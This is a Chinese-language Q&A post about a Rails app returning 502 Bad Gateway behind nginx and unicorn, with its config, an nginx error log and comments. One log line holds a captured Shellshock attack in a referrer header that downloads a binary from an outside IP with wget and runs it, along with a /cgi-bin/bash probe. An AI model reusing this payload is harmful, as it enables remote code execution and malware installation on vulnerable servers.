Ruby on rails 502(坏网关)
成功部署rails应用程序后,当我访问ip时,我得到了一个502(坏网关) 当我跑的时候Ruby on rails 502(坏网关),ruby-on-rails,ruby,ruby-on-rails-4,unicorn,Ruby On Rails,Ruby,Ruby On Rails 4,Unicorn,成功部署rails应用程序后,当我访问ip时,我得到了一个502(坏网关) 当我跑的时候 rails s -e production 该应用程序在本地生产环境中运行良好。当我检查生产日志时,我没有发现任何警告或错误。我不知道怎样才能找到问题的根源 我正在使用:ubuntu、nginx、capistrano和unicorn nginx.conf upstream unicorn { server unix:/tmp/unicorn.mysite.sock fail_timeout=0; }
rails s -e production
该应用程序在本地生产环境中运行良好。当我检查生产日志时,我没有发现任何警告或错误。我不知道怎样才能找到问题的根源
我正在使用:ubuntu、nginx、capistrano和unicorn
nginx.conf
upstream unicorn {
server unix:/tmp/unicorn.mysite.sock fail_timeout=0;
}
server {
server_name dima;
return 301 $scheme://mysite$request_uri;
}
server {
listen 80 default deferred;
server_name dima;
root /var/www/mysite/current/public;
location ^~ /assets/ {
gzip_static on;
expires max;
add_header Cache-Control public;
}
try_files $uri/index.html $uri @unicorn;
location @unicorn {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://unicorn;
}
error_page 500 502 503 504 /500.html;
keepalive_timeout 10;
}
nginx的错误。日志
2015/05/12 14:06:52 [crit] 15290#0: *179 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:08:31 [crit] 15290#0: *183 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:09:21 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:09:25 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:09:28 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 14:12:47 [crit] 15290#0: *191 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 14:12:58 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 14:12:59 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:13:05 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:13:05 [crit] 15290#0: *196 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:13:30 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:13:32 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:14:15 [crit] 15290#0: *203 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:14:27 [crit] 15290#0: *206 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:15:22 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:15:23 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*"
2015/05/12 14:15:29 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:15:30 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 14:15:32 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 14:31:11 [crit] 15290#0: *216 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 14:44:59 [crit] 15290#0: *218 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*"
2015/05/12 15:07:03 [crit] 15290#0: *221 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /cgi-bin/bash HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/cgi-bin/bash", host: “*.*.*.*"
2015/05/12 15:43:44 [crit] 15290#0: *223 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: "*.*.*.*", referrer: "() { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://182.92.184.208:8806/zou1 -O /tmp/China.Z-qmpz >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-qmpz >> /tmp/Run.sh;echo /tmp/China.Z-qmpz >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh”"
2015/05/12 16:10:04 [crit] 15290#0: *225 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*"
2015/05/12 16:35:10 [crit] 15290#0: *229 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: "*.*.*.*"
我很困惑,为什么它的名字是‘unicorn.testapp.sock’。我在/etc/init.d/中检查了unicorn的init脚本,它是:unicorn_mysite。在/tmp下,我有unicorn.mysite.sock
谢谢。如何在生产中运行应用程序?您对乘客使用nginx或apache吗?或者您只是在服务器上使用
rails s-e production
?应用程序是在端口80上运行还是在端口3000上运行?@zwippie已编辑。不,我在本地使用“rails s-e制作”。当我在本地运行它时,我使用端口3000。那么您的nginx配置可能有问题。你能发布你的配置吗?你的独角兽日志中有错误吗?@snkashis no.所有信息。